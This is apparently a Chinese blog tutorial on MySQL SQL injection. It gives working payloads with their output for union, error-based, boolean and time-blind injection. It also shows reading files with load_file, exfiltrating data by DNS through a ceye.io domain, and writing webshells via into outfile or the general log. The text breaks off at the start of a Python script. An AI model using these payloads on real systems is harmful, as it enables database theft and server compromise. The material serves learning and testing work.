xxxxx
先对sql注入的类型进行分类,大体我分为两类,一类是能够直观的看到数据库返回的信息,另一类是不能直观的看到,但是能够通过数据库执行的语句产生的信息不对称推测出信息。前者可以分为union、报错,后者分为时间、布
尔注入。期间会穿插放入一些小ticks,为了更有效率的接触数据库。
union注入又称联合查询注入,这是sql注入中最为常见也是最容易利用的一个注入方式,其原理在于union可以填充查询的结果,进行一次额外的查询,例如:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NWRrneCR-1611628250723)(https://raw.githubusercontent.com/hwhxy/hwhxy.github.io/master/images/mysql1.png)]
这也是联合查询的作用,用于及那个不同表中的数据联合查询并输出在同一个表中。这里你必须知道语句联合之前查询的字段数,否则会报错。在进行查询的时候实际上是先建立了一个虚拟的表单,然后通过查询进行填入,如果联合查询的字段不对,则会报错为SELECT statements have a different number of columns
,例如:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RAc8MYtt-1611628250724)(https://raw.githubusercontent.com/hwhxy/hwhxy.github.io/master/images/mysql2.png)]
如何知道正常的查询的字段数呢,可以使用order by
。
order by的关键字功能是对结果进行默认的升序排列,可以使用DESC
关键字进行降序
mysql的官方文档是这样写的:
select_expr [, select_expr …] [FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position} [ASC | DESC], … [WITH ROLLUP]] [HAVING where_condition]
[ORDER BY {col_name | expr | position} [ASC | DESC], …]
可以看到position
翻译成位置,如果后面输入的是数字n,则会按照前面的第n个字段进行排序,如果查询没有第n个字段就会报错,例如:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Y13ME6gJ-1611628250726)(https://raw.githubusercontent.com/hwhxy/hwhxy.github.io/master/images/mysql3.png)]
所以根据这个特性就可以知道字段数,在实际应用中的正确操作类似于这样的操作去找显示位:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-z1wOzo05-1611628250727)(https://raw.githubusercontent.com/hwhxy/hwhxy.github.io/master/images/huozhongweb1.png)]
然后根据能够得到的显示为比如,15个位置能够显示1,3,5的位置,就能够去查询数据放到对应的显示位就行了。
以上谈的是针对于简单有回显的查询,那么后端的代码一般会怎么写呢,类似于:
$user = $_POST['user'];
$pwd = $_POST['pwd']
$query = "select * from admin where username ='".$user."'"."and pass ='".$pwd."'";
mysql_query($mysql);
参考https://dev.mysql.com/doc/refman/5.7/en/xml-functions.html
对于报错注入,不同于联合查询这样的方式直接查询到结果返回查询字段,通过人为的制造错误条件利用数据库的机制将查询结果放在错误信息中输出出来。依据报错的特性,我们可以总结成下面几个特性,包括但不限于数据类型溢出,xpath语法错误,主键重复,else
官方文档
5.5的官方文档中加了这样的一个说明,数值表达式求值过程中的溢出会导致错误。例如,最大签名 BIGINT值为9223372036854775807,因此以下表达式会产生错误:
mysql> select 18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'
这里在range in
后面会给出错误的信息。
而mysql可以使用逻辑运算符和运算符,所以我们可以按位取反就能得到最大的int
mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
如果是一个成功的查询,返回值是0,使用非运算能计算成1,如:
mysql> select !(select user());
+------------------+
| !(select user()) |
+------------------+
| 1 |
+------------------+
1 row in set (0.00 sec)
那么我们可以结合这两个特性:
mysql> select !(select user())+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'
或者使用mysql的exp函数(计算e的幂),例如:
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
这样结合如上的特性,能够得到报错出来的信息,但是我在自己的vps进行测试的时候是没有成功的:
mysql> select ~(select * from (select user())a)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~((select `a`.`user()` from (select user())) + 1)'
即在mysql>5.5.53时是不能返回查询的结果。
因为报错信息会存在一些限制,这里我们需要知道如何去查看这个错误信息的配置,例如:
root@VM-0-14-ubuntu:/usr/local# which mysqld
/usr/sbin/mysqld
但是很遗憾,我们想要的mysql的头文件不在这个地方而是在cd /usr/include/mysql
这个文件夹下面。没找到,代办。例如:
/* Max length of a error message. Should be
kept in sync with MYSQL_ERRMSG_SIZE. */
#define ERRMSGSIZE (512)
关于xpath语法错误需要记住两个点,主要在mysql5.1.5之后提供了两个xml查询和修改的函数,关于网上说又十个报错注入的函数,实际上大部分能用到的都是旧版本并且在新版本上已经废除的函数了,这里重点说两个官方文档extractvalue和updatexml,两个函数具体功能如下:
报错的信息只能返回32位,所以在使用查找一些超过32位的时候,需要使用substring(‘string’,0,31)这样的截取函数进行截取输出。
这个函数的作用可以简单的在本地做个例子:
mysql> SELECT ExtractValue('cccddd', '/a') AS val1;
+------+
| val1 |
+------+
| ccc |
+------+
1 row in set (0.00 sec)
再比如:
mysql> select ExtractValue('cccddd', '/a/b') AS val2;
+------+
| val2 |
+------+
| ddd |
+------+
1 row in set (0.00 sec)
则我们可以知道extractvalue的函数作用就是查找参数二提供的标签中参数一xml片段的元素,而如果这里输入的参数有误,那么会出现什么呢?例如:
mysql> select extractvalue(1, concat(0x5c,(database())));
ERROR 1105 (HY000): XPATH syntax error: '\mysql'
mysql> select extractvalue(1, concat(0x5c,(user())));
ERROR 1105 (HY000): XPATH syntax error: '\root@localhost'
如果再往底层走,就是跟他对错误机制的处理有关了,这里先不做讨论,留个白。
函数的作用域extractvalue相似,这里主要做的是更新操作,其第二个参数接受的xpath语法,具体的语法是updatexml(目标xml文档,xml路径,更新的内容),其报错用法
mysql> select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.7.23-0ubuntu0.16.04.1~'
关于主键重复的问题导致报错研究了挺久。
先给出报错的payload,然后一层一层来:
mysql> select count(*) from user group by concat(database(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry 'mysql1' for key ''
我们来看看rand函数,例如:
mysql> select rand() from user;
+---------------------+
| rand() |
+---------------------+
| 0.9860067721325967 |
| 0.8649036091425489 |
| 0.3664977600485997 |
| 0.23777800354899653 |
+---------------------+
4 rows in set (0.00 sec)
mysql> select rand() from user;
+---------------------+
| rand() |
+---------------------+
| 0.08939676833282856 |
| 0.7336498617507982 |
| 0.4000590344891502 |
| 0.7993456179270014 |
+---------------------+
4 rows in set (0.00 sec)
其作用生成一串随机数,每次随机的数都不一样,那么rand(0),例如:
mysql> select rand(0) from user;
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
| 0.620881741513388 |
| 0.6387474552157777 |
| 0.33109208227236947 |
+---------------------+
4 rows in set (0.00 sec)
mysql> select rand(0) from user;
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
| 0.620881741513388 |
| 0.6387474552157777 |
| 0.33109208227236947 |
+---------------------+
4 rows in set (0.00 sec)
这时候你就会发现,rand(0)每次产生的序列都相同,也就是加了固定的种子每次查询都是相同的序列。
关于floor函数,就是向下取整的函数,例如:
mysql> select floor(1.33);
+-------------+
| floor(1.33) |
+-------------+
| 1 |
+-------------+
1 row in set (0.00 sec)
那么我们来看看payload中的floor(rand(0)*2)是什么,按照上面的说法,应该是一串固定的队列。果然
mysql> select floor(rand(0)*2) from user;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
+------------------+
4 rows in set (0.00 sec)
mysql> select floor(rand(0)*2) from user;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
+------------------+
是一串固定的011011…(因为我这里的user表只有四列,所以后面的序列看不见,其实后面的序列就是011011)
关于count(*) group by something的过程实际上是建立一个虚表, 然后开始查询grop by的内容,如果不存在,则插入key,value+1,如果存在则直接在对应的key上value+1,这里有个很关键的一点,也就是这里的主键重复的最关键的地方,当查询的虚表中不存在key,mysql会再执行一次查询语句再插入key,但是根据我们的payloadselect count(*) from user group by concat(database(),floor(rand(0)*2));
再执行一次的时候floor和rand也会再执行一次,这就导致了前一次和后一次查询的结果不一致,一步一步来。
0
,虚表中不存在,准备插入之前,在执行一次,这次查到的不是0
,这次查到了1
,所以,虚表中为:| key | value |
| ------ | ------ |
| 1 | 1 |
1
,发现存在,这时候不需要再查,直接插入,变成了。| key | value |
| ------ | ------ |
| 1 | 1+1 |
0
,虚表中不存在,在进行一次查询,应该是第五次,这次查到1
,这时候应该把1
插入,可是这时候已经有key=1了,所以报错了,也就是说,rand(0)2 + count()这里我把时间和布尔盲注放在一起了,我认为这中注入的方式都是执行了但是没有回显,通过两种不同的方式讲执行的结果猜测出来。两种方式较上面的方式呢效率会比较低毕竟是通过对错和时间来判断而非直观的查看到结果。这两种解决问题的方式呢注定了要通过逐个爆破,所以效率很低,而且在时间盲注里面更有网速这样的限制,但是个人认为在做一些大规模的扫描的时候,盲注反而会比上面的检测的效果更好而且检测手段更加简单。因为关于检测的问题我们不需要得到很完整的信息,我们只需要一个yes or no的判断,也正是盲注的特点。
关于布尔盲注,只需要考虑yes or no 的问题,所以在布尔盲注中要合理的利用比较,< >
,所以换句话说要合理的利用截取的字符,在mysql中是可以进行字符之间的比较的,比较的值是通过ascii值进行比较的,所以我下面介绍一些函数能够完成上面这一思路的函数。
left(a,b),从左侧开始截取a的前b位,我们可以这么用: left(database(),1) > "m"
mysql> select left(version(),1);
+-------------------+
| left(version(),1) |
+-------------------+
| 5 |
+-------------------+
substr(a,b,c),从b开始截取a的c位,我们可以这么用: substr(version(),1,1) > "s"
mysql> select substr(version(),1,20);
+------------------------+
| substr(version(),1,20) |
+------------------------+
| 5.7.23-0ubuntu0.16.0 |
+------------------------+
mid(a,b,c),从b开始截取a的c位,我们可以这么用: mid(version(),1,1) > "s"
,用法和substr完全相同
mysql> select mid(version(),1,1);
+--------------------+
| mid(version(),1,1) |
+--------------------+
| 5 |
+--------------------+
1 row in set (0.00 sec)
regexp 函数是将查询结果进行正则匹配,如果匹配成功返回1,匹配失败返回0。例如:
mysql> select user();
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
mysql> select user() regexp '^r';
+--------------------+
| user() regexp '^r' |
+--------------------+
| 1 |
+--------------------+
1 row in set (0.00 sec)
mysql> select user() regexp '^a';
+--------------------+
| user() regexp '^a' |
+--------------------+
| 0 |
+--------------------+
1 row in set (0.00 sec)
^r
是指以r开头
这里思考仅仅是返回 1和0还不是true和false,这里可以利用相等例如:1=(select user() regexp '^a')
这样可以造成true or false。
like,模糊查询,值得一提,很多情况下都需要用到。跟like紧密相连的就是通配符’%'了
%
mysql> select * from user where User like '%a';
Empty set (0.00 sec)
User中有没有以a开头的字段,这里我查询的就是空的。其中%
是匹配多个字符,可以中间可以放结尾。
_
mysql> select * from user where User like '_a';
Empty set (0.00 sec)
_
也是通配符,可以放在任何位置,但是只能匹配一个字符,这是与%
不同的地方。
那么这里我们如何利用like去制造布尔盲注呢,例如:
mysql> select user() like "r%";
+------------------+
| user() like "r%" |
+------------------+
| 1 |
+------------------+
1 row in set (0.00 sec)
mysql> select user() like "a%";
+------------------+
| user() like "a%" |
+------------------+
| 0 |
+------------------+
1 row in set (0.00 sec)
同样存在模糊匹配的方式,造成返回值的0与1。
例如:
mysql> select Lpad(version(),1,1);
+---------------------+
| Lpad(version(),1,1) |
+---------------------+
| 5 |
+---------------------+
1 row in set (0.00 sec)
mysql> select Rpad(version(),1,1);
+---------------------+
| Rpad(version(),1,1) |
+---------------------+
| 5 |
+---------------------+
1 row in set (0.00 sec)
关于ascii函数有一点可以提一下,就是在ASCII内部可以加入空格,在有的waf过滤不充分的情况下可以绕过。例如:
mysql> select Ascii('a');
+------------+
| Ascii('a') |
+------------+
| 97 |
+------------+
1 row in set (0.00 sec)
mysql> select Ascii('a ');
+----------------+
| Ascii('a ') |
+----------------+
| 97 |
+----------------+
1 row in set (0.00 sec)
关于布尔查询的函数分析大概就这么多,如果还有此后可以添加,但是思路都离不开0,1。
那么针对于上述的几个函数各有什么问题呢?在我看来,后两个根据匹配规则,一个是正则,一个是模糊查询,我们知道正则匹配如果没有合理的利用的话实际上是一个很消耗资源的用法,而模糊查询也是这样的道理,在匹配的内容越来越长的时候使用的效果越不好,所以可以认为regexp 和 like在不得已的情况下可以不使用,当然如果你只是为了拿flag
这我觉得没什么问题。关于正则匹配的问题,还存在一些redos正则匹配攻击,也是在写这篇文章的时候遗留下来的问题,先留个白。https://swtch.com/~rsc/regexp/regexp1.html
关于时间盲注,则需要充分利用执行语句造成时间上的差异性,才能造成我们判断的依据。
最常见的就是sleep
函数了,例如:
mysql> select user from user where if(1=1 ,sleep(2), 1) limit 1;
Empty set (8.00 sec)
mysql> select user from user where if(1=2 ,sleep(2), 1);
+------------------+
| user |
+------------------+
| debian-sys-maint |
| mysql.session |
| mysql.sys |
| root |
+------------------+
4 rows in set (0.00 sec)
mysql> select * from user where user = 'root' and if(ascii(substr(database(),1,1))>115,1,sleep(3));
Empty set (3.00 sec)
这里简单的介绍一下if
,虽然直接看上面就能理解,还是简单的提一下if(1,2,3):如果1真,则执行2,否则执行3
。
Benchmark(x,1):执行表达式1,x次
mysql> select benchmark(10000000,sha(1));
+----------------------------+
| benchmark(10000000,sha(1)) |
+----------------------------+
| 0 |
+----------------------------+
1 row in set (2.80 sec)
上面这两种算是最为常见也是最好利用的两个函数了。下面介绍一些不常见但是在某种情况下也能发挥效果的tips.
网上有很多关于笛卡尔积
的解释,实际上最贴切的应该就是他的原理-多表联合查询
,简单的解释就是如果我要查询两个表,例如select * from A , B
, mysql在进行查询的时候是先建立虚表,上面有提到,这个虚表的内容就是A * B
,意思就是A1B1,A1B2,A1B3.....,A1Bn,A2B1,.....AnBn
,所以,如果两个表数据量很大,那么实际上是很消耗资源的,如果不是两个
表,是三个,四个
,则会造成更大的资源消耗,例如:
mysql> SELECT count(*) FROM information_schema.columns A;
+----------+
| count(*) |
+----------+
| 3077 |
+----------+
1 row in set (0.04 sec)
mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B;
+----------+
| count(*) |
+----------+
| 9467929 |
+----------+
1 row in set (0.50 sec)
我们可以看到计算出来的结果是3077^2
也就印证了上面的结论,而实际上这也是笛卡尔积的payload
,我们能看到延时发生了,数据库用了0.5s,那么如果是三个表单呢。
mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B ,information_schema.columns C ;
我等了十分钟没等下去,懒得等了,实际上三个表联合查询的数据量就已经上亿了,所以还是很可观的。
当然多表联合查询,实际上也能联合表,联合库的嘛,例如:
mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B ,information_schema.SCHEMATA C ;
+----------+
| count(*) |
+----------+
| 47339645 |
+----------+
1 row in set (2.85 sec)
个人认为这样的方式还算ok,实际上也能联合表,但是控制在10s
之内就很ok了。
基于mysql的get_lock函数能够造成延时的效果,但是也有诸多的条件,这里也一一解答。
客户端与数据库建立连接的过程是分为两种,一种是mysql_connect
,短连接,即在创建连接进行数据操作之后,即关闭连接,另一种是mysql_pconnect
,即会长久的保持连接尽管客户端的脚本结束了。这与我们下面要提到的get_lock
有很大的关系
回到get_lock
官方文档如此说道:
GET_LOCK(str,timeout)
Tries
to obtain a lock with a name given by the string str, using a timeout of
timeout seconds. A negative timeout value means infinite timeout. The lock is
exclusive. While held by one session, other sessions cannot obtain a lock of
the same name.
意思就是get_lock
可以将某变量锁定在一个session
也就是一个客户端,我们来看看效果。首先打开一个客户端:
mysql> select get_lock('HWHXY',5);
+---------------------+
| get_lock('HWHXY',5) |
+---------------------+
| 1 |
+---------------------+
1 row in set (0.02 sec)
ok,我们已经在客户端1
将HWHXY
这个变量锁定了,然后我们去客户端2
看看。
mysql> select get_lock('HWHXY',5);
+---------------------+
| get_lock('HWHXY',5) |
+---------------------+
| 0 |
+---------------------+
1 row in set (5.00 sec)
mysql> select get_lock('HWHXY',2);
+---------------------+
| get_lock('HWHXY',2) |
+---------------------+
| 0 |
+---------------------+
1 row in set (2.00 sec)
发现能够执行类似于sleep
的操作了,而在本客户端我们发现依旧是正常的操作HWHXY
变量。
mysql> select get_lock('HWHXY',5);
+---------------------+
| get_lock('HWHXY',5) |
+---------------------+
| 1 |
+---------------------+
1 row in set (0.02 sec)
mysql> select get_lock('HWHXY',5);
+---------------------+
| get_lock('HWHXY',5) |
+---------------------+
| 1 |
+---------------------+
1 row in set (0.00 sec)
那么我们如果关闭客户端1
,那么再看看看客户端2
:
mysql> select get_lock('HWHXY',2);
+---------------------+
| get_lock('HWHXY',2) |
+---------------------+
| 1 |
+---------------------+
1 row in set (0.00 sec)
发现锁解除了,也就是说,get_lock
造成的变量锁实际上要在一个固定连接的客户端上长久的锁住,才能造成其他的客户端延时的效果,如果连接断开,变量锁也就自动的解除了。
所以我们可以得出这样的结论
1. 后端建立连接需要mysql_pconnect.
2. 利用需要变换客户端,也就是变换session进行访问。
emm,怎么说,其实不是很想在服务器上试orz,给出大佬博客吧,特定的场合在看看,实在没办法可以考虑。
https://www.cdxy.me/?p=789
sql注入还远不止这些,必须要学会一些更加深入更加细节的东西,才能得到更多的信息。
sql注入不仅可以读取数据库的数据还可以读取关键性的文件,这就让sql注入上了一个台阶了。
例如mysql中的LOADFILE函数,其本身的意思就是读取本地文件的意思。其用法为:LOAD_FILE (file_name)
官方文档中是这么解释的:
读取文件并以字符串形式返回文件内容。要使用此功能,文件必须位于服务器主机上,您必须指定文件的完整路径名,并且您必须具有该FILE权限。该文件必须可由所有人读取,其大小必须小于 max_allowed_packet字节。如果secure_file_priv系统变量设置为非空目录名,则要加载的文件必须位于该目录中如果文件不存在或由于不满足上述条件之一而无法读取,则函数返回NULL。
我们必须要关注到文档中说的一些细节,一个是读的权限,一个是max_allowed_packet
,一个是secure_file_priv
。
信息缓冲区允许接受的最大字节,官方文档上的数字是67108864字节(>= 8.0.3),4194304 ( <= 4194304) 大约是十倍以上的关系。虽然目前来说接触到这个细节的可能性不多,但是也提一下,说不定能结合日后的某些特性搞搞事情。
与上面的选项相同的是,这都是系统配置,可以使用SHOW GLOBAL VARIABLES
这可以理解为一个安全的配置,可以先来看看如何查看这个配置选项。我们需要在配置中模糊查询到secure
的选项,例如:
mysql> SHOW GLOBAL VARIABLES LIKE '%secure%';
+--------------------------+-----------------------+
| Variable_name | Value |
+--------------------------+-----------------------+
| require_secure_transport | OFF |
| secure_auth | ON |
| secure_file_priv | /var/lib/mysql-files/ |
+--------------------------+-----------------------+
3 rows in set (0.00 sec)
也就是和安全选项相关联的,简单的介绍每个选项
secure_file_priv
表示如果设置为目录名称,则服务器会将导入和导出操作限制为仅适用于该目录中的文件。目录必须存在; 服务器不会创建它。其选项存在三种,分别是:
1. empty
2. null
3. file path
各选项的意思好理解,这里不再赘述。
也就是说我在自己的vps上配置上是将数据的导入导出限制在/var/lib/mysql-files/
这个文件夹下面。
而我本人并未在此前设置过,也就说这个目录是默认选项。而根据官方文档,也是给出了这样的表格:
+--------------------------+-----------------------------------------+
| 平台 | 默认的secure_file_priv |
+--------------------------+-----------------------------------------+
| STANDALONE,WIN | 空 |
| DEB,RPM,SLES,SVR4 | /var/lib/mysql-files |
| 除此以外 | mysql-files在CMAKE_INSTALL_PREFIX价值之下 |
+--------------------------+------------------------------------------+
这里我们可以注意到windows
系统下,对于secure_file_priv
的选项默认是空的。
这里我们在本地测试一下与上面我在vps
上查看的做对比:
mysql> SHOW GLOBAL VARIABLES LIKE '%secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | NULL |
+------------------+-------+
2 rows in set (0.00 sec)
可以发现是null
选项,那么根据上面说的,必然是无法进行文件读取
mysql> select load_file('C:/Windows/win.ini');
+---------------------------------+
| load_file('C:/Windows/win.ini') |
+---------------------------------+
| NULL |
+---------------------------------+
1 row in set (0.00 sec)
但是在官方文档中说这个选项在win
下面应该是empty
才对,而我mysql
是phpstudy
集成的,所以我将其归结成phpstudy
的问题.插入一段: 那么我们来思考一下,phpstudy是如何做到的,或者说安全配置的选项如何修改呢?
说来简单,关于配置,分两种情况,一种是动态变量
,可以直接通过set
命令进行配置,一种是静态变量
,需要手动在my.cnf
文件里更改,win下面配置文件夹是my.ini
在什么地方自己去找吧。
例如:
[mysqld]
secure_file_priv = ''
然后我们再来查看一下win
下的配置(静态的搜索需要重启mysql
环境)
mysql> SHOW GLOBAL VARIABLES LIKE '%secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
2 rows in set (0.00 sec)
已经变成了empty
。
那么我们现在来读文件试试,发现已经可以任意文件读取了。
mysql> select load_file('c:/Windows/win.ini');
+----------------------------------------------------------------------------------------------+
| load_file('c:/Windows/win.ini') |
+----------------------------------------------------------------------------------------------+
| ; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
|
+----------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
那么我们来做更进一步的思考,如果是盲注呢,我们能如何利用,针对于没有回显的sql注入,可以采用load_file + dnslog的攻击方式,例如:
mysql> SELECT LOAD_FILE(CONCAT('\\\\',(SELECT hex(user())),'.mysql.o3t021.ceye.io\\abc'));
+-----------------------------------------------------------------------------+
| LOAD_FILE(CONCAT('\\\\',(SELECT hex(user())),'.mysql.o3t021.ceye.io\\abc')) |
+-----------------------------------------------------------------------------+
| NULL |
+-----------------------------------------------------------------------------+
1 row in set (22.25 sec)
这时候我的ceye.io
接收到的就是
5277266726F6F74406C6F63616C686F7374.mysql.o3t021.ceye.io173.194.93.102018-10-03 13:08:51
5277265726F6F74406C6F63616C686F7374.mysql.o3t021.ceye.io114.255.40.1092018-10-03 13:08:50
5277264726F6F74406C6F63616C686F7374.mysql.o3t021.ceye.io60.215.138.1602018-10-03 13:08:48
5277263726F6F74406C6F63616C686F7374.mysql.o3t021.ceye.io202.106.195.902018-10-03 13:08:48
5277262726F6F74406C6F63616C686F7374.mysql.o3t021.ceye.io202.106.195.892018-10-03 13:08:48
接受到的数据进行hex之后的样子,这里为什么要用hex,因为在传输过程中有可能会有特殊字符,特殊字符进行域名的传输是无法进行dns查询的,这也是为什么要进行hex编码。如果没有继续进行hex编码则会失败,例如上面的user()中应该存在@
这样的特殊字符。
上面的火花碰撞起来,只能在windows上终结了,linux
无法进行dnslog
攻击,实际上windows
能够利用dnslog
也是根据windows
的一些特性,这个特性叫做unc
。关于unc的解释如:
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
所以最后实际上是拼接成了访问网络共享文件的路径。所以一开始使用的是’\\’。
还有一种是基于smb通道的load_file 利用方式 如:select load_file('//ecma.io/1.txt')
暂时留个白
我们的原则是在利用信息上做到最大化的利用。在load_file
遇到不存在文件的时候会返回NULL
,而isnull(null) == 1
,否则返回0
,例如:
mysql> select load_file('D:/2.php');
+-----------------------------------------------------+
| load_file('D:/2.php') |
+-----------------------------------------------------+
| big5_chinese_ci big5 1 Yes Yes 1
|
+-----------------------------------------------------+
1 row in set (0.00 sec)
mysql> select load_file('D:/1.php');
+-----------------------+
| load_file('D:/1.php') |
+-----------------------+
| NULL |
+-----------------------+
1 row in set (0.00 sec)
mysql> select isnull(load_file('D:/2.php'));
+-------------------------------+
| isnull(load_file('D:/2.php')) |
+-------------------------------+
| 0 |
+-------------------------------+
1 row in set (0.00 sec)
mysql> select isnull(load_file('D:/1.php'));
+-------------------------------+
| isnull(load_file('D:/1.php')) |
+-------------------------------+
| 1 |
+-------------------------------+
1 row in set (0.00 sec)
然后我们就可以根据返回的0,1
来判断文件是否存在了,这种方法实际上是建立在load_file
的基础上的,我个人认为在进行文件存在的判断的话,你可以根据返回更少
的值就能进行判断,这点上还是很舒服的。
然后提到到了文件读,就要提文件写了。
关于写文件,就要用到into
这个关键字了,但是前提和之前进行文件读是相同的必须要有file
权限才行,而且secure_file_priv
如果非空,则必须在该文件夹下进行写操作,第三点就是该文件必须要不存在,mysql在进行写操作的时候是不允许覆盖的。本地测试一下:
第一步当然是查看一下file选项
mysql> show global variables like "%secure%";
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
2 rows in set (0.00 sec)
mysql> select '' into outfile 'D:/1.php';
Query OK, 1 row affected (0.00 sec)
这时候我们来查看一下,使用mysql
直接查看吧!可以看到已经成功的写入了。
mysql> select load_file('D:/1.php');
+-----------------------+
| load_file('D:/1.php') |
+-----------------------+
|
|
+-----------------------+
1 row in set (0.09 sec)
那么如果我们再对1.php
进行写操作呢?则会提示文件已经存在,也就验证了前面的说法不能覆盖写入。
mysql> select '' into outfile 'D:/1.php';
ERROR 1086 (HY000): File 'D:/1.php' already exists
这里默认是写入的一行,那么如果我们返回的结果有多行
呢?,例如:
mysql> ;select * from user into outfile "D:/2.php";
ERROR:
No query specified
Query OK, 3 rows affected (0.00 sec)
多行结果也能写入并且自动格式化
了。这里是为了区别于下面的dumpfile
.
和outfile
相同的是,它同样可以写入,但是不同的是,每次将得到的结果只以1行
写入,并且经过实际的测试,发现对于多行结果,最多能拼接2行
写入,例如:
mysql> select * from user into dumpfile 'D:/3.php';
ERROR 1172 (42000): Result consisted of more than one row
mysql> select load_file('D:/3.php');
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| load_file('D:/3.php') |
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| localhostroot*81F5E21E35407D884A6CD4A731AEBFB6AF209E1BYYYYYYYYYYYYYYYYYYYYYYYYYYYYY0000127.0.0.1root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1BYYYYYYYYYYYYYYYYYYYYYYYYYYYYY0000 |
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
我的user表里面有三行的结果,实际上dumpfile入了两行的结果,所以在使用文件写入的时候,建议使用limit字段限制返回的结果数否则会造成数据丢失或者写shell失败。
关于写入还有些查询结果的拼接操作,个人认为用处不大,如果已经能够控制into outfile
为什么还要多此一举,不过也算是一个特性,都尝试尝试,见见世面。
例如:
mysql> select * from COLLATIONS limit 1 into outfile 'D:/2.php' FIELDS TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e;
Query OK, 1 row affected (0.00 sec)
mysql> select load_file('D:/2.php');
+------------------------------------------------------------------------------------------------------------------------+
| load_file('D:/2.php') |
+------------------------------------------------------------------------------------------------------------------------+
| big5_chinese_cibig51YesYes1
|
+------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
FIELDS TERMINATED BY
的作用就是在每个查询的column
后面追加一段后缀。
例如:
mysql> select * from COLLATIONS limit 1 into outfile 'D:/2.php' LINES TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e;
Query OK, 1 row affected (0.00 sec)
mysql> select load_file('D:/2.php');
+----------------------------------------------------+
| load_file('D:/2.php') |
+----------------------------------------------------+
| big5_chinese_ci big5 1 Yes Yes 1 |
+----------------------------------------------------+
1 row in set (0.00 sec)
LINES TERMINATED BY
的作用是在每个查询的行后面追加内容,看上去比FIELDS
靠谱。
例如:
mysql> select * from COLLATIONS limit 1 into outfile 'D:/2.php' LINES STARTING BY 0x3c3f70687020706870696e666f28293b3f3e;
Query OK, 1 row affected (0.04 sec)
mysql> select load_file('D:/2.php');
+-----------------------------------------------------+
| load_file('D:/2.php') |
+-----------------------------------------------------+
| big5_chinese_ci big5 1 Yes Yes 1
|
+-----------------------------------------------------+
1 row in set (0.00 sec)
LINES STARTING BY
可以发现增加的是前缀,好像更加靠谱了。
差点遗漏了写日志这个点。在我们没有可写的函数的时候,实际上还可以通过写日志的方式来写shell的。但是这里还是需要file
权限,如下只针对于secure_file_priv
选项导致load_file
和select into
无法用的时候,例如:
mysql> SHOW GLOBAL VARIABLES LIKE '%secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | NULL |
+------------------+-------+
上面提到的secure_file_priv
为null
,不满足读写条件,但是我们还可以通过写日志的方式。show variables like 'general_log%';
mysql> show variables like 'general_log%';
+------------------+------------------------------------------------------------------------+
| Variable_name | Value |
+------------------+------------------------------------------------------------------------+
| general_log | OFF |
| general_log_file | F:\development\PHP\PhpStudy\PHPTutorial\MySQL\data\DESKTOP-3FJOQ5B.log |
+------------------+------------------------------------------------------------------------+
这样我们就能查看日志文件的位置,以及日志是否开启,而上面就是关闭的,但是上面两个选项均为动态变量,即可以通过set
关键字进行调整,例如:
mysql> set global general_log='on';
Query OK, 0 rows affected (0.06 sec)
mysql> set global general_log_file='F:/development/PHP/Phpstudy/PHPTutorial/WWW/hwhxy.php';
Query OK, 0 rows affected (0.06 sec)
首先开启了general_log
,然后设置成general_log_file
为根目录的shell
然后我们执行一条命令如:select '';
,然后将general_log
选项关闭(脏数据越少越好)。这时我们来查看一下hwhxy.php
,如:
F:\development\PHP\PhpStudy\PHPTutorial\MySQL\bin\mysqld.exe, Version: 5.5.53 (MySQL Community Server (GPL)). started with:
TCP Port: 3306, Named Pipe: MySQL
Time Id Command Argument
181009 20:22:31 1 Query select ''
181009 20:24:05 1 Query set global general_log=off
此时已经写进去shell
了。验证这一步就不做了。懒。
对于盲注最大的弱点就是慢!,而我们在实际拿数据的情况下来看,如果手注的盲注的话,十年拿一个库所有数据,也太开心了吧。下面思考一些能够提升效率的算法。
对于二分发究竟能提升多少效率,大概就是从o(n)
->o(log(n))
的吧其实是可以提升很多的,在实际测试中也非常建议使用二分法,这是提升效率的最简单的做法。下面给出二分法的demo。例如:
import requests
import time
